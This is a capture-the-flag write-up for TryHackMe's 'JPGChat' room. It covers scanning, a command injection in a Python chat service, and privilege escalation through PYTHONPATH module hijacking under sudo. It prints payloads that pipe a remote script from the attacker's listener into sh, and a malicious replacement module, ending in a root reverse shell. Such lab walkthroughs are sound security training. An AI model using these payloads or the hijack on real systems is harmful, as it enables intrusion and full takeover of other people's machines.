JPGChat - Write-up - TryHackMe

Information

Room#

  • Name: JPGChat
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Exploiting poorly made custom chatting service written in a certain language...

JPGChat

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S nmap

Network enumeration#

Port and service scan with nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Nmap 7.91 scan initiated Tue May 18 20:31:41 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.158.37
Nmap scan report for 10.10.158.37
Host is up (0.028s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, NULL:
| Welcome to JPChat
| source code of this service can be found at our admin's github
| MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_ REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.91%I=7%D=5/18%Time=60A40846%P=x86_64-unknown-linux-gnu
SF:%r(NULL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20thi
SF:s\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nM
SF:ESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(cur
SF:rently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20t
SF:o\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%
SF:r(GenericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of
SF:\x20this\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20gi
SF:thub\nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x
SF:20\(currently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT
SF:\]\x20to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof
SF:\)\n");

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 18 20:32:38 2021 -- 1 IP address (1 host up) scanned in 56.97 seconds

OSINT#

The welcome message is suggesting us to do some OSINT:

Welcome to JPChat

source code of this service can be found at our admin's github

MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel

REPORT USAGE: use [REPORT] to report someone to the admins (with proof)

Google dork: JPChat site:github.com

The first result is the repository: https://github.com/Mozzie-jpg/JPChat

There we can study the source code of jpchat.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3

import os

print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')

def report_form():

print ('this report will be read by Mozzie-jpg')
your_name = input('your name:\n')
report_text = input('your report:\n')
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

def chatting_service():

print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
message = input('')

if message == '[REPORT]':
report_form()
if message == '[MESSAGE]':
print ('There are currently 0 other users logged in')
while True:
message2 = input('[MESSAGE]: ')
if message2 == '[REPORT]':
report_form()

chatting_service()

The command injection is obvious, report_form() inject user input directly into os.system().

I used Platypus as a listener to easily get a powerful interactive shell:

1
2
3
4
5
6
7
8
9
10
11
12
$ nc 10.10.21.162 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
noraj; curl http://10.9.19.77:13338/|sh;
your report:
noraj
noraj

EoP: python module hijacking#

1
2
3
4
5
6
7
8
wes@ubuntu-xenial:/$ id
uid=1001(wes) gid=1001(wes) groups=1001(wes)
wes@ubuntu-xenial:/$ sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py

We can execute /opt/development/test_module.py as root without a password.

1
2
3
4
5
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))

The file is not writable by us:

1
2
wes@ubuntu-xenial:/$ ls -lh /opt/development/test_module.py
-rw-r--r-- 1 root root 93 Jan 15 18:58 /opt/development/test_module.py

But since the import in insecure (from compare import *) and that sudo is configured to keep PYTHONPATH environment variable (env_keep+=PYTHONPATH) we should be able to hijack the PYTHONPATH to force importing an attacker-controlled python module to get code and command execution.

You can read about similar on some of my previous write-ups:

Let's check the current sys.path:

1
2
3
4
5
6
7
wes@ubuntu-xenial:/$ python3
Python 3.5.2 (default, Oct 7 2020, 17:19:02)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']

So we can find the legit compare module:

1
2
wes@ubuntu-xenial:/$ find /usr/lib/python3.5 -iname compare.py
/usr/lib/python3.5/compare.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class compare:

def Str(self, x, y,):
x = str(x)
y = str(y)

if x == y:
return True;
else:
return False;

def Int(self, x, y,):
x = int(x)
y = int(y)

if x == y:
return True;
else:
return True;

def Float(self, x, y,):
x = float(x)
y = float(y)

if x == y:
return True;
else:
return False;

We can re-write a partial malicious version since only Str is used.

1
2
3
4
5
class compare:

def Str(self, x, y,):
import os
os.system("curl http://10.9.19.77:13338/|sh")

Let's write it in /dev/shm/.

1
wes@ubuntu-xenial:/dev/shm$ vim /dev/shm/compare.py

And then execute the script that will load our malicious module:

1
$ sudo PYTHONPATH=/dev/shm/ /usr/bin/python3 /opt/development/test_module.py

Then we have to exit our current Platypus session, and join the root one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
(🐧) 10.10.21.162:42986 [wes] » List
2021/05/26 21:50:11 Listing 2 listening servers
2021/05/26 21:50:11 [9442daedd052d7cdfebc43092a4a3050] is listening on 0.0.0.0:13337, 0 clients
+-------------------------------------------------------------------------------------------------------------------------+
| 1b7fb280df68ceebae36060c938a2ced is listening on 0.0.0.0:13338, 2 clients |
+----------------------------------+--------------------+---------+------+--------+---------------+-------+---------------+
| HASH | NETWORK | OS | USER | PYTHON | TIME | ALIAS | GROUPDISPATCH |
+----------------------------------+--------------------+---------+------+--------+---------------+-------+---------------+
| 8785729982bf72750367895621cbff01 | 10.10.21.162:42986 | 🐧 | wes | true | 1 hour ago | | true |
| c72070ef313f556e870351d40f9b3125 | 10.10.21.162:42994 | Unknown | | false | 2 minutes ago | | true |
+----------------------------------+--------------------+---------+------+--------+---------------+-------+---------------+
2021/05/26 21:50:11 1b7fb280df68ceebae36060c938a2ced is listening on 0.0.0.0:13338, 2 clients listed
(🐧) 10.10.21.162:42986 [wes] » Jump c72070ef313f556e870351d40f9b3125
2021/05/26 21:50:30 The current interactive shell is set to: [c72070ef313f556e870351d40f9b3125] tcp://10.10.21.162:42994 (connected at: 2 minutes ago) [Unknown] [true]
(Unknown) 10.10.21.162:42994 [unknown] » PTY
2021/05/26 21:50:38 Establish PTY failed: fully interactive PTY require Python on the current client
(Unknown) 10.10.21.162:42994 [unknown] » Interact
2021/05/26 21:50:47 Interacting with [c72070ef313f556e870351d40f9b3125] tcp://10.10.21.162:42994 (connected at: 2 minutes ago) [Unknown] [true]
2021/05/26 21:50:47 PTY is not established, drop into normal reverse shell mode. You can use `PTY` command to enable PTY mode.
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/dev/shm
cd /root
cat /root/root.txt
JPC{edited}

Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing

You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF
cat /home/wes/user.txt
JPC{edited}
Share